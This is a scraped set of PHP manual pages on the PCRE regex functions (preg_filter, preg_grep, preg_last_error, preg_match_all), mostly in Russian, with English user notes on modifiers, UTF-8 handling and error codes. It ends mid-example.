the PCRE_INFO_JCHANGED modifier is apparently not accepted as a global option (after the closing delimiter) in PHP versions <= 5.4 (not checked in PHP 5.5) but allowed in PHP 5.6 (also not checked in PHP 7.X)

The following pattern doesn't work in PHP 5.4, but it works in PHP 5.6:

<?php
//test.php
preg_match_all('/(?<dup_name>\d{1,4})\-(?<dup_name>\d{1,2})/J', '1234-23', $matches);
var_dump($matches);

/*
output in PHP 5.4:
Warning: preg_match_all(): Unknown modifier 'J' in test.php on line 3
NULL
--------------
output PHP 5.6:
array(4) {
    [0]=> array(1)  { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
*/
?>

in order to resolve this issue in PHP 5.4, one can use the (?J) pattern modifier, which indicates the pattern (from that point forward) allows duplicate names for subpatterns.

code which works in PHP 5.4:
<?php

preg_match_all('/(?J)(?<dup_name>\d{1,4})\-(?<dup_name>\d{1,2})/', '1234-23', $matches);
var_dump($matches);

/*
output in PHP 5.4:
array(4) {
    [0]=> array(1) { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
--------------
output in PHP 5.6 (the same as with /J):
array(4) {
    [0]=> array(1)  { [0]=> string(7) "1234-23" }
    ["dup_name"]=> array(1) { [0]=> string(2) "23" }
    [1]=> array(1) { [0]=> string(4) "1234" }
    [2]=> array(1) { [0]=> string(2) "23" }
}
*/
?>
Daniel Klein 13-Feb-2012 11:40
If the _subject_ contains utf-8 sequences the 'u' modifier should be set, otherwise a pattern such as /./ could match a utf-8 sequence as two to four individual ASCII characters. It is not a requirement, however, as you may have a need to break apart utf-8 sequences into single bytes. Most of the time, though, if you're working with utf-8 strings you should use the 'u' modifier.

If the subject doesn't contain any utf-8 sequences (i.e. characters in the range 0x00-0x7F only) but the pattern does, as far as I can work out, setting the 'u' modifier would have no effect on the result.
phpman at crustynet dot org dot uk 08-Apr-2011 08:03
The description of the "u" flag is a bit misleading. It suggests that it is only required if the pattern contains UTF-8 characters, when in fact it is required if either the pattern or the subject contain UTF-8. Without it, I was having problems with preg_match_all returning invalid multibyte characters when given a UTF-8 subject string.

It's fairly clear if you read the documentation for libpcre:

       In  order  process  UTF-8 strings, you must build PCRE to include UTF-8
       support in the code, and, in addition,  you  must  call  pcre_compile()
       with  the  PCRE_UTF8  option  flag,  or the pattern must start with the
       sequence (*UTF8). When either of these is the case,  both  the  pattern
       and  any  subject  strings  that  are matched against it are treated as
       UTF-8 strings instead of strings of 1-byte characters.

[from http://www.pcre.org/pcre.txt]
michal dot kocarek at brainbox dot cz 18-May-2009 04:49
In case you're wondering, what is the meaning of "S" modifier, this paragraph might be useful:

When "S" modifier is set, PHP calls the pcre_study() function from the PCRE API before executing the regexp. Result from the function is passed directly to pcre_exec().

For more information about pcre_study() and "Studying the pattern" check the PCRE manual on http://www.pcre.org/pcre.txt

PS: Note that function names "pcre_study" and "pcre_exec" used here refer to PCRE library functions written in C language and not to any PHP functions.
ebarnard at marathonmultimedia dot com 06-Feb-2007 02:35
When adding comments with the /x modifier, don't use the pattern delimiter in the comments. It may not be ignored in the comments area. Example:

<?php
$target = 'some text';
if(preg_match('/
                e # Comments here
               /x',$target)) {
    print "Target 1 hit.\n";
}
if(preg_match('/
                e # /Comments here with slash
               /x',$target)) {
    print "Target 1 hit.\n";
}
?>

prints "Target 1 hit." but then generates a PHP warning message for the second preg_match():

Warning:  preg_match() [function.preg-match]: Unknown modifier 'C' in /ebarnard/x-modifier.php on line 11
varrah NO_GARBAGE_OR_SPAM AT mail DOT ru 03-Nov-2005 04:12
Spent a few days, trying to understand how to create a pattern for Unicode chars, using the hex codes. Finally made it, after reading several manuals, that weren't giving any practical PHP-valid examples. So here's one of them:

For example we would like to search for Japanese-standard circled numbers 1-9 (Unicode codes are 0x2460-0x2468) in order to make it through the hex-codes the following call should be used:
preg_match('/[\x{2460}-\x{2468}]/u', $str);

Here $str is a haystack string
\x{hex} - is an UTF-8 hex char-code
and /u is used for identifying the class as a class of Unicode chars.

Hope, it'll be useful.
hfuecks at nospam dot org 15-Jul-2005 07:14
Regarding the validity of a UTF-8 string when using the /u pattern modifier, some things to be aware of;

1. If the pattern itself contains an invalid UTF-8 character, you get an error (as mentioned in the docs above - "UTF-8 validity of the pattern is checked since PHP 4.3.5"

2. When the subject string contains invalid UTF-8 sequences / codepoints, it basically result in a "quiet death" for the preg_* functions, where nothing is matched but without indication that the string is invalid UTF-8

3. PCRE regards five and six octet UTF-8 character sequences as valid (both in patterns and the subject string) but these are not supported in Unicode ( see section 5.9 "Character Encoding" of the "Secure Programming for Linux and Unix HOWTO" - can be found at http://www.tldp.org/ and other places )

4. For an example algorithm in PHP which tests the validity of a UTF-8 string (and discards five / six octet sequences) head to: http://hsivonen.iki.fi/php-utf8/

The following script should give you an idea of what works and what doesn't;

<?php
$examples = array(
    'Valid ASCII' => "a",
    'Valid 2 Octet Sequence' => "\xc3\xb1",
    'Invalid 2 Octet Sequence' => "\xc3\x28",
    'Invalid Sequence Identifier' => "\xa0\xa1",
    'Valid 3 Octet Sequence' => "\xe2\x82\xa1",
    'Invalid 3 Octet Sequence (in 2nd Octet)' => "\xe2\x28\xa1",
    'Invalid 3 Octet Sequence (in 3rd Octet)' => "\xe2\x82\x28",

    'Valid 4 Octet Sequence' => "\xf0\x90\x8c\xbc",
    'Invalid 4 Octet Sequence (in 2nd Octet)' => "\xf0\x28\x8c\xbc",
    'Invalid 4 Octet Sequence (in 3rd Octet)' => "\xf0\x90\x28\xbc",
    'Invalid 4 Octet Sequence (in 4th Octet)' => "\xf0\x28\x8c\x28",
    'Valid 5 Octet Sequence (but not Unicode!)' => "\xf8\xa1\xa1\xa1\xa1",
    'Valid 6 Octet Sequence (but not Unicode!)' => "\xfc\xa1\xa1\xa1\xa1\xa1",
);

echo "++Invalid UTF-8 in pattern\n";
foreach ( $examples as $name => $str ) {
    echo "$name\n";
    preg_match("/".$str."/u",'Testing');
}

echo "++ preg_match() examples\n";
foreach ( $examples as $name => $str ) {

    preg_match("/\xf8\xa1\xa1\xa1\xa1/u", $str, $ar);
    echo "$name: ";

    if ( count($ar) == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched {$ar[0]}\n";
    }

}

echo "++ preg_match_all() examples\n";
foreach ( $examples as $name => $str ) {
    preg_match_all('/./u', $str, $ar);
    echo "$name: ";

    $num_utf8_chars = count($ar[0]);
    if ( $num_utf8_chars == 0 ) {
        echo "Matched nothing!\n";
    } else {
        echo "Matched $num_utf8_chars character\n";
    }

}
?>


Отличия от Perl

Описанные здесь отличия относятся к версии Perl 5.005.

  1. По умолчанию пробельный символ — любой символ, который функция isspace() из библиотеки C опознает таковым, хотя возможно скомпилировать PCRE с альтернативными таблицами символов. Функция isspace() определяет как пробельный следующие символы: пробел, конец страницы (formfeed), перевод строки, возврат каретки, горизонтальную табуляцию и вертикальную табуляцию. Perl 5 же не включает вертикальную табуляцию в список пробельных символов. Экранирование \v долгое время присутствовавшее в документации Perl на самом деле никогда не распознавалось. Однако, символ как таковой, считался за пробельный до версии 5.002. В 5.004 и 5.005 он не определяется как \s.
  2. PCRE не позволяет использовать квантификаторы повторения в опережающих предположениях. Perl разрешает, но они не означают того, о чем вы могли подумать. К примеру, (?!a){3} не проверяет, что следующие три символа не "a". Проверяется только то, что следующий символ не "a" три раза.
  3. Захватывающие подшаблоны, которые возникают в отрицательных опережающих проверках считаются, но их записи в векторе смещений никогда не устанавливаются. Perl устанавливает числовые переменные из любых подобных масок, которые совпали до момента, когда предположение не подтвердилось при проверке чего-либо, но только если опережающее предположение содержит только одну ветвь.
  4. Хотя бинарные нулевые символы поддерживаются в проверяемой строке, они недопустимы в строке шаблона, потому что она передаётся как нормальная C-строка, в которой этот символ обозначает конец строки. Для его использования в строке шаблона необходимо пользоваться конструкцией "\x00".
  5. Следующие экранирующие последовательности Perl не поддерживаются: \l, \u, \L, \U. Фактически они реализованы стандартным обработчиком строк Perl и не являются частью модуля обработки регулярных выражений.
  6. Предположение \G из Perl также не поддерживается, поскольку не имеет отношения к отдельно взятой схеме совпадений.
  7. Довольно очевидно, что PCRE не поддерживает конструкции (?{code}) и (??{code}). Тем не менее, есть поддержка рекурсивных шаблонов.
  8. Есть ещё странный момент при в Perl 5.005_02, связанный с установкой захваченных строк, когда часть шаблона повторяется. К примеру, проверка "aba" шаблоном /^(a(b)?)+$/, устанавливает $2 в значение "b", но проверка "aabbaa" шаблоном /^(aa(bb)?)+$/, оставляет $2 не выставленной. Хотя, если шаблон поменять на /^(aa(b(b))?)+$/, то $2 (и $3) будут установлены. В Perl 5.004, $2 установится в обоих случаях, и это также истинно и для PCRE. Если в будущем Perl как-либо зафиксирует это поведение, PRCE будет ему следовать.
  9. Другое до сих пор неразрешённое противоречие в том, что Perl 5.005_02, шаблоном /^(a)?(?(1)a|b)+$/ распознает строку "a", а PCRE нет. Хотя и в Perl и в PCRE, /^(a)?a/ распознает "a" и оставляет $1 не выставленной.

  10. PCRE предоставляет некоторые расширения регулярных выражений Perl:

    1. Несмотря на то, что опережающие предположения должны распознавать строки фиксированной длины, каждое альтернативное ретроспективное предположение может распознавать строки разной длины. Perl 5.005 требует, чтобы они были одной длины.
    2. Если установлена PCRE_DOLLAR_ENDONLY и не установлена PCRE_MULTILINE, метасимвол $ распознается только в самом конце строки.
    3. Если установлена PCRE_EXTRA, обратный слеш с последующей за ним буквой, не имеющий специального значения, приводит к ошибке.
    4. Если установлена PCRE_UNGREEDY, жадность квантификаторов повторения инвертирована. То есть по умолчанию они не жадные, пока за ними не будет знак вопроса.

User Contributed Notes

There are no user contributed notes for this page.


Функции PCRE

Содержание

  • preg_filter — Производит поиск и замену по регулярному выражению
  • preg_grep — Возвращает массив вхождений, которые соответствуют шаблону
  • preg_last_error_msg — Возвращает сообщение об ошибке последней запущенной функции PCRE
  • preg_last_error — Возвращает код ошибки выполнения последнего регулярного выражения PCRE
  • preg_match_all — Выполняет глобальный поиск шаблона в строке
  • preg_match — Выполняет проверку на соответствие регулярному выражению
  • preg_quote — Экранирует символы в регулярных выражениях
  • preg_replace_callback_array — Выполняет поиск и замену по регулярному выражению с использованием функций обратного вызова
  • preg_replace_callback — Выполняет поиск по регулярному выражению и замену с использованием callback-функции
  • preg_replace — Выполняет поиск и замену по регулярному выражению
  • preg_split — Разбивает строку по регулярному выражению

User Contributed Notes

theking2 at king dot ma 30-Oct-2023 10:19
Writing regexp can be tedious and error prone. Test yours on https://regex101.com/ to make sure you haven't missed anything . It even colour codes example strings.
Svoop 10-Feb-2009 05:43
I have written a short introduction and a colorful cheat sheet for Perl Compatible Regular Expressions (PCRE):

http://www.bitcetera.com/en/techblog/2008/04/01/regex-in-a-nutshell/
stronk7 at moodle dot org 13-Sep-2007 01:42
One comment about 5.2.x and the pcre.backtrack_limit:

Note that this setting wasn't present under previous PHP releases and the behaviour (or limit) under those releases was, in practise,  higher so all these PCRE functions were able to "capture" longer strings.

With the arrival of the setting, defaulting to 100000 (less than 100K), you won't be able to match/capture strings over that size using, for example "ungreedy" modifiers.

So, in a lot of situations, you'll need to raise that (very small IMO) limit.

The worst part is that PHP simply won't match/capture those strings over pcre.backtrack_limit and will it be 100% silent about that (I think that throwing some NOTICE/WARNING if raised could help a lot to developers).

There is a lot of people suffering this changed behaviour from I've read on forums, bugs and so on).

Hope this note helps, ciao :-)
steve at stevedix dot de 20-Jul-2004 05:17
Something to bear in mind is that regex is actually a declarative programming language like prolog : your regex is a set of rules which the regex interpreter tries to match against a string.   During this matching, the interpreter will assume certain things, and continue assuming them until it comes up against a failure to match, which then causes it to backtrack.  Regex assumes "greedy matching" unless explicitly told not to, which can cause a lot of backtracking.  A general rule of thumb is that the more backtracking, the slower the matching process.

It is therefore vital, if you are trying to optimise your program to run quickly (and if you can't do without regex), to optimise your regexes to match quickly.

I recommend the use of a tool such as "The Regex Coach" to debug your regex strings.

http://weitz.de/files/regex-coach.exe (Windows installer) http://weitz.de/files/regex-coach.tgz (Linux tar archive)


Производит поиск и замену по регулярному выражению

  • « Функции PCRE
  • preg_grep »
  • PHP Manual
  • Функции PCRE
  • Производит поиск и замену по регулярному выражению

preg_filter

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

preg_filter — Производит поиск и замену по регулярному выражению

Описание

preg_filter(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

Функция preg_filter() идентична функции preg_replace() за исключением того, что возвращает только те значения (возможно, преобразованные), в которых найдено совпадение. Подробнее о работе функции читайте в документации к preg_replace().

Список параметров

Параметры описаны в документации для функции preg_replace().

Возвращаемые значения

Возвращает массив (array), если аргумент subject имеет тип array или строка (string) в противном случае.

Если совпадений не найдено или возникла ошибка, возвращается пустой массив (array), когда subject имеет тип array или null в противном случае.

Ошибки

Если передали шаблон регулярного выражения, который не компилируется в допустимое регулярное выражение, выдаётся ошибка уровня E_WARNING.

Примеры

Пример #1 Пример для сравнения функций preg_filter() и preg_replace()

<?php
$subject = array('1', 'а', '2', 'б', '3', 'А', 'Б', '4');
$pattern = array('/\d/', '/[а-я]/', '/[1а]/');
$replace = array('А:$0', 'Б:$0', 'В:$0');

echo "preg_filter возвращает\n";
print_r(preg_filter($pattern, $replace, $subject));

echo "preg_replace возвращает\n";
print_r(preg_replace($pattern, $replace, $subject));
?>

Результат выполнения приведённого примера:

preg_filter возвращает
Array
(
    [0] => А:В:1
    [1] => Б:В:а
    [2] => А:2
    [3] => Б:б
    [4] => А:3
    [7] => А:4
)
preg_replace возвращает
Array
(
    [0] => А:В:1
    [1] => Б:В:а
    [2] => А:2
    [3] => Б:б
    [4] => А:3
    [5] => А
    [6] => Б
    [7] => А:4
)

Смотрите также

  • Шаблоны PCRE
  • preg_quote() - Экранирует символы в регулярных выражениях
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • preg_replace_callback() - Выполняет поиск по регулярному выражению и замену с использованием callback-функции
  • preg_grep() - Возвращает массив вхождений, которые соответствуют шаблону
  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE

User Contributed Notes

bienvenunet at yahoo dot com 27-Oct-2017 09:10
If you don't want to actually replace the matches, just filter the array to them, make the replacement parameter '$0'.

<?php
$subject = array('1', 'a', '2', 'b', '3', 'A', 'B', '4');
$result = preg_filter('/\d/', '$0', $subject);  // ['1','2','3','4']
?>
forsoap at gmail dot com 20-Oct-2016 01:14
For those who read manual not in English and figure out that example code returns not the same result as in documentation

You need put in example patter modifier "u" to get same result:

<?php
$subject = array('1', 'а', '2', 'б', '3', 'А', 'Б', '4');
// Added "u"
$pattern = array('/\d/u', '/[а-я]/u', '/[1а]/u');
$replace = array('А:$0', 'Б:$0', 'В:$0');
?>
fgmhhfg at gmail dot com 04-Mar-2014 10:44
As for the php 5.5.3 version, the example  turn out like:
Array
(
       [0] => A:1
       [1] => B:a
       ...
)
Anonymous 04-Mar-2014 10:36
As for the php 5.5.3 version, the example will turn out like:
Array
(
       [0]=>A:1
       [1]=>B:a
       ...
)
sajina_99 at hotmail dot de 25-Sep-2011 07:07
As I had to work with PHP5.2.X and needed preg_filter I wrote a quick and dirty workaround.

<?php
  if (!function_exists('preg_filter')) {

    function preg_filter($pattern, $replace, $subject, $limit = -1 , &$count = null) {

      if(!is_array($subject)) {
        $noArray = 1 ;
        $subject = array($subject);
      }

      $preg = preg_replace($pattern, $replace, $subject, $limit,  &$count);

      $diff = array_diff($preg, $subject);

      if($noArray == 1) $diff = implode($diff) ;

      return $diff ;

    }

  }
?>
MrBertie 31-Dec-2010 02:35
Another way to filter an array, and simply return the matching items: preg_grep!


Возвращает массив вхождений, которые соответствуют шаблону

  • « preg_filter
  • preg_last_error_msg »
  • PHP Manual
  • Функции PCRE
  • Возвращает массив вхождений, которые соответствуют шаблону

preg_grep

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_grep — Возвращает массив вхождений, которые соответствуют шаблону

Описание

preg_grep(string $pattern, array $array, int $flags = 0): array|false

Возвращает массив, состоящий из элементов входящего массива array, которые соответствуют заданному шаблону pattern.

Список параметров

pattern

Искомый шаблон в виде строки.

array

Входящий массив.

flags

В случае, если установлен в PREG_GREP_INVERT, функция preg_grep() возвращает те элементы массива, которые не соответствуют заданному шаблону pattern.

Возвращаемые значения

Возвращает массив, индексированный ключами из массива array или false, если возникла ошибка.

Ошибки

Если передали шаблон регулярного выражения, который не компилируется в допустимое регулярное выражение, выдаётся ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования preg_grep()

<?php
// Возвращает все элементы массива,
// содержащие числа с плавающей точкой
$fl_array = preg_grep("/^(\d+)?\.\d+$/", $array);
?>

Смотрите также

  • Регулярные выражения PCRE
  • preg_quote() - Экранирует символы в регулярных выражениях
  • preg_match_all() - Выполняет глобальный поиск шаблона в строке
  • preg_filter() - Производит поиск и замену по регулярному выражению
  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE

User Contributed Notes

amolocaleb at gmail dot com 24-Jun-2018 08:24
This may be obvious to most experienced developers,but just in case its not,when using preg_grep to check for whitelisted items ,one must be very careful to explicitly define the regex boundaries or it will fail
<?php
$whitelist = ["home","dashboard","profile","group"];
$possibleUserInputs = ["homd","hom","ashboard","settings","group"];
foreach($possibleUserInputs as  $input)
{
     if(preg_grep("/$input/i",$whitelist)
    {
         echo $input." whitelisted";
    }else{
         echo $input." flawed";
    }

}
?>
This results in:

homd flawed
hom whitelisted
ashboard whitelisted
settings flawed
group whitelisted

I think this is because if boundaries are not explicitly defined,preg_grep looks for any instance of  the substring in the whole array and returns true if found.This is not what we want,so boundaries must be defined.

<?php
foreach($possibleUserInputs as  $input)
{
     if(preg_grep("/^$input$/i",$whitelist)
    {
         echo $input." whitelisted";
    }else{
         echo $input." flawed";
    }

}
?>
this results in:
homd flawed
hom flawed
ashboard flawed
settings flawed
group whitelisted
in_array() will also give the latter results but will require few tweaks if say,the search is to be case insensitive,which is always the case 70% of the time
Timo Klemm 15-Mar-2017 09:26
An even shorter way to run a match on the array's keys rather than the values:

<?php
function preg_grep_keys($pattern, $input, $flags = 0) {
    return array_flip( preg_grep($pattern, array_flip($input), $flags ) );
}
?>
Daniel Klein 14-Mar-2013 10:54
A shorter way to run a match on the array's keys rather than the values:

<?php
function preg_grep_keys($pattern, $input, $flags = 0) {
    return array_intersect_key($input, array_flip(preg_grep($pattern, array_keys($input), $flags)));
}
?>
keithbluhm at gmail dot com 21-Jan-2010 03:56
Run a match on the array's keys rather than the values:

<?php

function preg_grep_keys( $pattern, $input, $flags = 0 )
{
    $keys = preg_grep( $pattern, array_keys( $input ), $flags );
    $vals = array();
    foreach ( $keys as $key )
    {
        $vals[$key] = $input[$key];
    }
    return $vals;
}

?>


Возвращает сообщение об ошибке последней запущенной функции PCRE

  • « preg_grep
  • preg_last_error »
  • PHP Manual
  • Функции PCRE
  • Возвращает сообщение об ошибке последней запущенной функции PCRE

preg_last_error_msg

(PHP 8)

preg_last_error_msg — Возвращает сообщение об ошибке последней запущенной функции PCRE

Описание

preg_last_error_msg(): string

Возвращает сообщение об ошибке последней запущенной функции PCRE.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает сообщение об ошибке. Если ошибки не было, возвращает строку "No error".

Примеры

Пример #1 Пример использования preg_last_error_msg()

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() !== PREG_NO_ERROR) {
echo preg_last_error_msg();
}

?>

Результат выполнения приведённого примера:

Backtrack limit exhausted

Смотрите также

  • preg_last_error() - Возвращает код ошибки выполнения последнего регулярного выражения PCRE

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ошибки выполнения последнего регулярного выражения PCRE

  • « preg_last_error_msg
  • preg_match_all »
  • PHP Manual
  • Функции PCRE
  • Возвращает код ошибки выполнения последнего регулярного выражения PCRE

preg_last_error

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

preg_last_error — Возвращает код ошибки выполнения последнего регулярного выражения PCRE

Описание

preg_last_error(): int

Возвращает код ошибки выполнения последнего регулярного выражения PCRE.

Пример #1 Пример использования preg_last_error()

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
echo 'Был исчерпан лимит обратных ссылок!';
}

?>

Результат выполнения приведённого примера:

Был исчерпан лимит обратных ссылок!

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает одну из следующих констант (описанных на отдельной странице.):

  • PREG_NO_ERROR
  • PREG_INTERNAL_ERROR
  • PREG_BACKTRACK_LIMIT_ERROR (смотрите также pcre.backtrack_limit)
  • PREG_RECURSION_LIMIT_ERROR (смотрите также pcre.recursion_limit)
  • PREG_BAD_UTF8_ERROR
  • PREG_BAD_UTF8_OFFSET_ERROR
  • PREG_JIT_STACKLIMIT_ERROR

Смотрите также

  • preg_last_error_msg() - Возвращает сообщение об ошибке последней запущенной функции PCRE

User Contributed Notes

nicoSWD 09-Oct-2020 05:43
PHP 8 has a native function to retrieve the actual error message, so these helper functions are no longer necessary.

https://www.php.net/preg_last_error_msg

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() !== PREG_NO_ERROR) {
    echo preg_last_error_msg(); // Prints "Backtrack limit exhausted"
}

?>
zerodahero at gmail dot com 25-Feb-2020 12:51
In PHP 7.3+, and depending on the environment, there may be other constants that aren't ints which will cause errors with array_flip. I opted to go with a RegexException and a filter on gk's note.

<?php

class RegexException extends \Exception {

    public $errorCode;

    public function __construct(
        int $errorCode,
        string $additionalMessage = null
    ) {
        $this->errorCode = $errorCode;

        $errorMessage = $this->getErrorString($errorCode) ?? 'Unknown regex error';
        $additionalMessage = $additionalMessage ? " $additionalMessage" : '';

        parent::__construct("Regex error thrown: $errorMessage." . $additionalMessage);
    }

    /**
     * Gets an error string (const name) for the PCRE error code
     *
     * @param int $errorCode
     *
     * @return string|null
     */
    private function getErrorString(int $errorCode): ?string
    {
        $pcreConstants = get_defined_constants(true)['pcre'] ?? [];

        /*
         * NOTE: preg_last_error() returns an int, but there are constants
         * in PHP 7.3+ that are strings, bools, or otherwise. We can pretty
         * safely filter out the non-integers to fetch the appropriate
         * error constant name.
         */
        $pcreConstants = array_filter($pcreConstants, function ($code) {
            return is_int($code);
        });

        $errorStrings = array_flip($pcreConstants);

        return $errorStrings[$errorCode] ?? null;
    }

Usage:

throw new RegexException(preg_last_error());
Daniel Klein 18-Aug-2019 09:37
Here is a correction to one of the previous "get error message" snippets. It filters out the non-error codes which stops "Warning:  array_flip(): Can only flip STRING and INTEGER values!" from being emitted due to ["PCRE_JIT_SUPPORT"]=>bool(true):

<?php
echo array_flip(array_filter(get_defined_constants(true)['pcre'], function ($value) {
  return substr($value, -6) === '_ERROR';
}, ARRAY_FILTER_USE_KEY))[preg_last_error()];
Vladimir Valikaev 12-Aug-2019 04:01
Getting error as text (small update):

<?php
echo array_flip(array_filter(get_defined_constants(true)['pcre'], function($v) { return is_integer($v); }))[preg_last_error()];
Anonymous 06-Aug-2019 07:59
If you use T-Regx library, to get the last constant, you can use

<?php

echo preg_last_error_constant(); // 'PREG_BAD_UTF8_ERROR'
eu at ericruiz dot com dot br 24-Feb-2017 11:03
Take it into account before use this function.

My php --version
PHP 5.6.29 (cli) (built: Dec  8 2016 09:19:46)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies

On Linux Fedora 23 4.8.13-100.fc23.x86_64 #1 SMP Fri Dec 9 14:51:40 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

<?php
// @see http://stackoverflow.com/questions/4440626/how-can-i-validate-regex

// returns true because  there is no opening "(" for the closing ")"
var_dump(preg_match('~InvalidRegular)Expression~', null) === false);

// this SHOULD be something different from 0, but...
var_dump(preg_last_error());
?>
gk at anuary dot com 11-Jan-2014 02:21
In PHP 5.5 and above, getting the error message is as simple as:

<?php
echo array_flip(get_defined_constants(true)['pcre'])[preg_last_error()];
andre at koethur dot de 23-Jun-2013 09:00
Just an addition to my previous note: In unicode mode (with "u" modifier), PREG_BAD_UTF8_ERROR only reflects errors in the subject string. If the pattern itself contains invalid characters, preg_match() (or preg_match_all()) returns false but preg_last_error() returns 0 indicating PREG_NO_ERROR. Instead, php issues a warning: "preg_match(): Compilation failed: invalid UTF-8 string at offset 0"
andre at koethur dot de 18-Jun-2013 12:37
Here is a more advanced function to convert an error code to text:

<?php

function preg_errtxt($errcode)
{
    static $errtext;

    if (!isset($errtxt))
    {
        $errtext = array();
        $constants = get_defined_constants(true);
        foreach ($constants['pcre'] as $c => $n) if (preg_match('/_ERROR$/', $c)) $errtext[$n] = $c;
    }

    return array_key_exists($errcode, $errtext)? $errtext[$errcode] : NULL;
}

?>
johan at bluemoonit dot net 24-May-2010 05:20
The above function pcre_error_deocde [sic] is not correct - not all of the used constants are errors constants. For example, when the error is actually PREG_BAD_UTF8_ERROR, the function outputs the text for PREG_SPLIT_OFFSET_CAPTURE.


Выполняет глобальный поиск шаблона в строке

  • « preg_last_error
  • preg_match »
  • PHP Manual
  • Функции PCRE
  • Выполняет глобальный поиск шаблона в строке

preg_match_all

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_match_all — Выполняет глобальный поиск шаблона в строке

Описание

preg_match_all(
string $pattern,
string $subject,
array &$matches = null,
int $flags = 0,
int $offset = 0
): int|false

Функция ищет в строке subject все совпадения с шаблоном регулярного выражения pattern и помещает результат в массив matches в порядке, который определяет комбинация флагов flags.

После обнаружения первого соответствия поиски продолжаются с конца последнего совпадения.

Список параметров

pattern

Искомый шаблон в виде строки.

subject

Входная строка.

matches

Многомерный массив совпадений, сортировка которого соответствует параметру flags.

flags

В параметр разрешено передавать комбинацию следующих флагов (обратите внимание, указывать флаг PREG_PATTERN_ORDER одновременно с флагом PREG_SET_ORDER бессмысленно):

PREG_PATTERN_ORDER

Флаг упорядочивает результаты так, что элемент $matches[0] содержит массив полных вхождений шаблона, элемент $matches[1] содержит массив вхождений первого подшаблона в круглых скобках и т. д.

<?php

preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
"<b>пример: </b><div align=left>это тест</div>",
$out, PREG_PATTERN_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";

?>

Результат выполнения приведённого примера:

<b>пример: </b>, <div align=left>это тест</div>
пример: , это тест

Так, элемент $out[0] содержит массив строк, которые соответствуют полному шаблону, а элемент $out[1] содержит массив строк в тегах.

Массив $matches будет дополнительно содержать записи для ключей с именами подшаблонов, если шаблон содержит именованные подшаблоны.

Функция сохранит в элементе $matches[NAME] только самый правый подшаблон, если шаблон содержит повторяющиеся именованные подшаблоны.

<?php

preg_match_all(
'/(?J)(?<match>foo)|(?<match>bar)/',
'foo bar',
$matches,
PREG_PATTERN_ORDER
);
print_r($matches['match']);

?>

Результат выполнения приведённого примера:

Array
(
    [0] =>
    [1] => bar
)

PREG_SET_ORDER

Флаг упорядочивает результаты так, что элемент $matches[0] становится массивом с первым набором вхождений, а элемент $matches[1] — со вторым набором вхождений и т. д.

<?php

preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
"<b>пример: </b><div align=\"left\">это тест</div>",
$out, PREG_SET_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";

?>

Результат выполнения приведённого примера:

<b>пример: </b>, пример:
<div align="left">это тест</div>, это тест

PREG_OFFSET_CAPTURE

С этим флагом для каждой найденной подстроки функция также вернёт позицию подстроки в исходной строке (в байтах). Обратите внимание, что этот флаг изменяет массив matches на многомерный, каждый элемент которого содержит массив, который содержит в индексе с номером 0 найденную подстроку, а смещение этой подстроки в параметре subject — в индексе 1.

<?php

preg_match_all('/(foo)(bar)(baz)/', 'foobarbaz', $matches, PREG_OFFSET_CAPTURE);
print_r($matches);

?>

Результат выполнения приведённого примера:

Array
(
    [0] => Array
        (
            [0] => Array
                (
                    [0] => foobarbaz
                    [1] => 0
                )

        )

    [1] => Array
        (
            [0] => Array
                (
                    [0] => foo
                    [1] => 0
                )

        )

    [2] => Array
        (
            [0] => Array
                (
                    [0] => bar
                    [1] => 3
                )

        )

    [3] => Array
        (
            [0] => Array
                (
                    [0] => baz
                    [1] => 6
                )

        )

)

PREG_UNMATCHED_AS_NULL

С этим флагом несовпадающие подмаски функция представит значениями null; иначе отобразит в виде пустых строк (string).

Функция возьмёт флаг по умолчанию — PREG_PATTERN_ORDER, если флаг сортировки не передали.

offset

Обычно поиск выполняется с начала строки слева направо. Через необязательный параметр offset указывают другую позицию (в байтах), с которой функция начнёт поиск.

Замечание:

Поведение параметра offset не эквивалентно замене сопоставляемой строки выражением substr($subject, $offset) при вызове функции preg_match_all(), поскольку шаблон pattern может содержать условия наподобие ^, $ или (?<=x). Примеры смотрите в описании функции preg_match().

Возвращаемые значения

Функция возвращает количество полных совпадений с шаблоном, включая 0, или false, если возникла ошибка.

Ошибки

Если передали шаблон регулярного выражения, который не компилируется в допустимое регулярное выражение, выдаётся ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.2.0 | Теперь параметр $flags поддерживает константу PREG_UNMATCHED_AS_NULL.

Примеры

Пример #1 Получение всех телефонных номеров из текста.

<?php

preg_match_all(
"/\(? (\d{3})? \)? (?(1) [\-\s] ) \d{3}-\d{4}/x",
"Звоните 555-1212 или 1-800-555-1212",
